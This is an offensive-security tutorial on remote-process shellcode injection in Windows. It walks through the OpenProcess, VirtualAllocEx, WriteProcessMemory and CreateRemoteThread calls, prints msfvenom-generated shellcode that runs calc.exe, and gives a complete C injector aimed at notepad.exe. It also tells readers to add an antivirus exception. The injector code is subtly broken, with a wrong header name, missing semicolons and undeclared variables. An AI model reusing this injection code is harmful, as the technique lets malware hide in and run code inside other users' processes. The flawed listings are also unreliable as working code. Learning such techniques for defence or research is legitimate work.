Shellcode injection consists of four basic steps which are:
Attach to/ create a process.
Allocate some memory within that process.
Write the memory to the process.
Finally, create a thread to execute the code we injected into the process's memory.
Win32 API Calls
Documentation for the following API calls can be found by clicking the functions header.
Copy HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
Copy LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
Copy BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
Copy HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
Setup
Let's start by implementing step 1 . The OpenProcess
function returns a handle to a specified process. In case of failure, it will return NULL
and we can get the error by calling GetLastError()
.
Therefore we can implement a simple check to handle errors:
Copy #include <window.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
DWORD PID = atoi(argv[1])
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess != NULL) {
printf("[+] Got handle to process [%ld]", PID);
return EXIT_SUCCESS;
}
else {
printf("[-] Could not get handle to process [%ld]\nERROR: %ld", PID, GetLastError());
return EXIT_FAILURE;
}
}
Shellcode
We will use msfvenom
in order to generate a simple payload that will run the calc.exe
application.
Copy msfvenom --platform windows --arch x64 EXITFUNC=thread -p windows/x64/exec CMD="cmd.exe /c calc.exe" -f c --var-name=shellcode
unsigned char shellcode[] =
"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50"
"\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52"
"\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a"
"\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41"
"\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52"
"\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48"
"\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40"
"\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48"
"\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41"
"\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1"
"\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c"
"\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01"
"\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a"
"\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b"
"\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\\x00\\x00"
"\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\\xba\\x31\\x8b"
"\\x6f\\x87\\xff\\xd5\\xbb\\xe0\\x1d\\x2a\\x0a\\x41\\xba\\xa6\\x95\\xbd"
"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0"
"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff"
"\\xd5\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x20\\x2f\\x63\\x20\\x63\\x61"
"\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00";
size_t shellcodeSize = sizeof(shellcode);
Setup II
Copy #include <window.h>
#include <stdio.h>
unsigned char shellcode[] =
"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50"
"\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52"
"\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a"
"\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41"
"\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52"
"\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48"
"\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40"
"\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48"
"\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41"
"\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1"
"\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c"
"\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01"
"\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a"
"\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b"
"\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\\x00\\x00"
"\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\\xba\\x31\\x8b"
"\\x6f\\x87\\xff\\xd5\\xbb\\xe0\\x1d\\x2a\\x0a\\x41\\xba\\xa6\\x95\\xbd"
"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0"
"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff"
"\\xd5\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x20\\x2f\\x63\\x20\\x63\\x61"
"\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00";
size_t shellcodeSize = sizeof(shellcode);
int main(int argc, char *argv[]) {
DWORD PID = atoi(argv[1])
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess != NULL) {
printf("[+] Got handle to process [%ld]", PID);
rBuffer = VirtualAllocEx(hProcess, NULL, payloadSize, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, rBuffer, payload, payloadSize, NULL);
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hProcess);
CloseHandle(hThread);
return EXIT_SUCCESS;
}
else {
printf("[-] Could not get handle to process [%ld]\nERROR: %ld", PID, GetLastError());
return EXIT_FAILURE;
}
}
Injection
Remember to make an exception in your antivirus software.
Using the Win32 API like that will immediately get the program flagged by your AV.
Now let's compile our script
Copy > gcc shellcode.c -o shellcode.exe
> ls
Directory: C:\[...]\shellcode
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/4/2023 2:56 PM 2710 shellcode.c
-a---- 4/4/2023 2:57 PM 257027 shellcode.exe
Great! Our injector is ready. For demonstration purposes, we will inject into notepad.exe
Copy > notepad
> ps | findstr notepad
247 13 2972 14468 0.08 8224 2 notepad
> ./shellcode.exe
For the sake of demonstration and logging, I added some prints in the code.
In the next writeup we will be talking about DLL Injections.